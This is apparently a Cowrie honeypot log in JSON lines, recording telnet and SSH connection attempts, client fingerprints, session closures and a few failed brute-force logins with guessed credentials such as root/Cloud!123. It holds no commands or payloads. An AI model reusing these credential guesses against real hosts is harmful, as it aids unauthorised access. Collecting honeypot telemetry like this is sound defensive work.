{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":47062,"dst_ip":"159.203.135.109","dst_port":23,"session":"02593832f6ac","protocol":"telnet","message":"New connection: 202.91.32.11:47062 (159.203.135.109:23) [session: 02593832f6ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:53.245003Z"}
{"eventid":"cowrie.session.closed","duration":36.734121322631836,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:54.681643Z","src_ip":"45.63.42.31","session":"7ac3a852b5ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.937488079071045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:55.049480Z","src_ip":"202.91.32.11","session":"accfe8100f39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":47078,"dst_ip":"159.203.135.109","dst_port":23,"session":"761d425aaa89","protocol":"telnet","message":"New connection: 202.91.32.11:47078 (159.203.135.109:23) [session: 761d425aaa89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:55.154313Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":40440,"dst_ip":"10.17.0.5","dst_port":23,"session":"127d96215c4a","protocol":"telnet","message":"New connection: 45.63.42.31:40440 (10.17.0.5:23) [session: 127d96215c4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:55.305553Z"}
{"eventid":"cowrie.session.closed","duration":37.08001947402954,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:55.830719Z","src_ip":"103.115.172.252","session":"d5002e299e71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":49144,"dst_ip":"159.203.135.109","dst_port":22,"session":"77ede0dfaab0","protocol":"ssh","message":"New connection: 194.59.206.2:49144 (159.203.135.109:22) [session: 77ede0dfaab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:57.449908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:57.466512Z","src_ip":"194.59.206.2","session":"77ede0dfaab0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:57.543291Z","src_ip":"194.59.206.2","session":"77ede0dfaab0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:57.718697Z","src_ip":"194.59.206.2","session":"77ede0dfaab0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":47086,"dst_ip":"159.203.135.109","dst_port":23,"session":"f47d722c3848","protocol":"telnet","message":"New connection: 202.91.32.11:47086 (159.203.135.109:23) [session: f47d722c3848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:58.016951Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":48942,"dst_ip":"10.17.0.5","dst_port":23,"session":"f705f97d2fc1","protocol":"telnet","message":"New connection: 45.63.42.31:48942 (10.17.0.5:23) [session: f705f97d2fc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:58.921793Z"}
{"eventid":"cowrie.session.closed","duration":30.73098349571228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:01.318389Z","src_ip":"202.91.32.11","session":"acd5a2b944bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.87879967689514,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:01.472671Z","src_ip":"45.63.42.31","session":"4f787e0df2ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.8076446056366,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:02.011365Z","src_ip":"45.63.42.31","session":"66b4f2c3315a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.134.49.171","src_port":37366,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b5da585379b","protocol":"ssh","message":"New connection: 78.134.49.171:37366 (159.203.135.109:22) [session: 3b5da585379b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:02.608850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:02.613148Z","src_ip":"78.134.49.171","session":"3b5da585379b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":47100,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec83152ed14a","protocol":"telnet","message":"New connection: 202.91.32.11:47100 (159.203.135.109:23) [session: ec83152ed14a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:02.689361Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:02.722387Z","src_ip":"78.134.49.171","session":"3b5da585379b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":44442,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8a7c4d3bef3","protocol":"telnet","message":"New connection: 202.91.32.11:44442 (159.203.135.109:23) [session: f8a7c4d3bef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:02.794157Z"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn2022","message":"login attempt [vpn/vpn2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:03.180816Z","src_ip":"78.134.49.171","session":"3b5da585379b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:04.290185Z","src_ip":"78.134.49.171","session":"3b5da585379b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":57320,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5a2ed0a7b71","protocol":"telnet","message":"New connection: 45.63.42.31:57320 (10.17.0.5:23) [session: f5a2ed0a7b71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:04.343106Z"}
{"eventid":"cowrie.session.closed","duration":31.90177631378174,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:04.440807Z","src_ip":"202.91.32.11","session":"1a3e42f9a92e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.845056295394897,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:05.404397Z","src_ip":"202.91.32.11","session":"82141fb00a66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.09522318840027,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:06.527232Z","src_ip":"45.63.42.31","session":"a992f469f8f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":44450,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b2e9a87e6dd","protocol":"telnet","message":"New connection: 202.91.32.11:44450 (159.203.135.109:23) [session: 4b2e9a87e6dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:07.719084Z"}
{"eventid":"cowrie.session.closed","duration":31.679854154586792,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:08.663304Z","src_ip":"202.91.32.11","session":"1cb079b23ae0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.00219488143921,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:08.858416Z","src_ip":"45.63.42.31","session":"c70d7e7afc33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.594094038009644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:09.098118Z","src_ip":"202.91.32.11","session":"e8c18b57a3cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.88017272949219,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:09.652610Z","src_ip":"103.115.172.252","session":"defa21a9b974","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.989808082580566,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:10.472959Z","src_ip":"202.91.32.11","session":"f0abff83e868","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":45386,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f038cb03bc5","protocol":"telnet","message":"New connection: 45.63.42.31:45386 (10.17.0.5:23) [session: 4f038cb03bc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:11.809239Z"}
{"eventid":"cowrie.session.closed","duration":30.903237342834473,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:11.849703Z","src_ip":"202.91.32.11","session":"337b53196276","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.922511339187622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:13.043093Z","src_ip":"202.91.32.11","session":"9cb19b37d09f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.62385416030884,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:18.993505Z","src_ip":"45.63.42.31","session":"2c47d961c3fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94024419784546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:21.207228Z","src_ip":"202.91.32.11","session":"000de70ff821","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39850616455078,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:21.444088Z","src_ip":"202.91.32.11","session":"f614884880ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":41296,"dst_ip":"159.203.135.109","dst_port":23,"session":"051d2bed95c1","protocol":"telnet","message":"New connection: 202.91.32.11:41296 (159.203.135.109:23) [session: 051d2bed95c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:23.645878Z"}
{"eventid":"cowrie.session.closed","duration":35.06986951828003,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:24.314008Z","src_ip":"103.115.172.252","session":"d597a96304a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24974799156189,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:24.494644Z","src_ip":"202.91.32.11","session":"02593832f6ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.47227382659912,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:25.680721Z","src_ip":"45.63.42.31","session":"255da2d485c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.415774822235107,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:26.569729Z","src_ip":"202.91.32.11","session":"761d425aaa89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39596176147461,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:29.412796Z","src_ip":"202.91.32.11","session":"f47d722c3848","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.72768759727478,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:30.033104Z","src_ip":"45.63.42.31","session":"127d96215c4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08139157295227,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:33.770666Z","src_ip":"202.91.32.11","session":"ec83152ed14a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.255.52.36","src_port":52614,"dst_ip":"159.203.135.109","dst_port":22,"session":"600096dfdf88","protocol":"ssh","message":"New connection: 191.255.52.36:52614 (159.203.135.109:22) [session: 600096dfdf88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:33.872336Z"}
{"eventid":"cowrie.session.closed","duration":31.108381986618042,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:33.902449Z","src_ip":"202.91.32.11","session":"f8a7c4d3bef3","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:33.930303Z","src_ip":"191.255.52.36","session":"600096dfdf88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:34.068429Z","src_ip":"191.255.52.36","session":"600096dfdf88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cloud!123","message":"login attempt [root/Cloud!123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:34.722588Z","src_ip":"191.255.52.36","session":"600096dfdf88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.20422148704529,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:35.125914Z","src_ip":"45.63.42.31","session":"f705f97d2fc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:35.867668Z","src_ip":"191.255.52.36","session":"600096dfdf88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.55.151","src_port":43268,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bdd498b7ca5","protocol":"ssh","message":"New connection: 107.173.55.151:43268 (10.17.0.5:22) [session: 9bdd498b7ca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:37.079510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:37.083415Z","src_ip":"107.173.55.151","session":"9bdd498b7ca5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:37.114454Z","src_ip":"107.173.55.151","session":"9bdd498b7ca5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789qwer","message":"login attempt [root/123456789qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:37.222941Z","src_ip":"107.173.55.151","session":"9bdd498b7ca5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":37394,"dst_ip":"10.17.0.5","dst_port":23,"session":"db66ff5b52b6","protocol":"telnet","message":"New connection: 45.63.42.31:37394 (10.17.0.5:23) [session: db66ff5b52b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:37.516360Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:38.244418Z","src_ip":"107.173.55.151","session":"9bdd498b7ca5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.24228572845459,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:38.961277Z","src_ip":"202.91.32.11","session":"4b2e9a87e6dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":37222,"dst_ip":"10.17.0.5","dst_port":23,"session":"873a16bd5f02","protocol":"telnet","message":"New connection: 45.63.42.31:37222 (10.17.0.5:23) [session: 873a16bd5f02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:39.429177Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":57870,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffce0e2732a8","protocol":"telnet","message":"New connection: 202.91.32.11:57870 (159.203.135.109:23) [session: ffce0e2732a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:39.907481Z"}
{"eventid":"cowrie.session.closed","duration":36.287309408187866,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:40.630218Z","src_ip":"45.63.42.31","session":"f5a2ed0a7b71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.255.52.36","src_port":52630,"dst_ip":"159.203.135.109","dst_port":22,"session":"59c259d79e4d","protocol":"ssh","message":"New connection: 191.255.52.36:52630 (159.203.135.109:22) [session: 59c259d79e4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:41.467579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:23:41.514617Z","src_ip":"191.255.52.36","session":"59c259d79e4d","protocol":"ssh"}
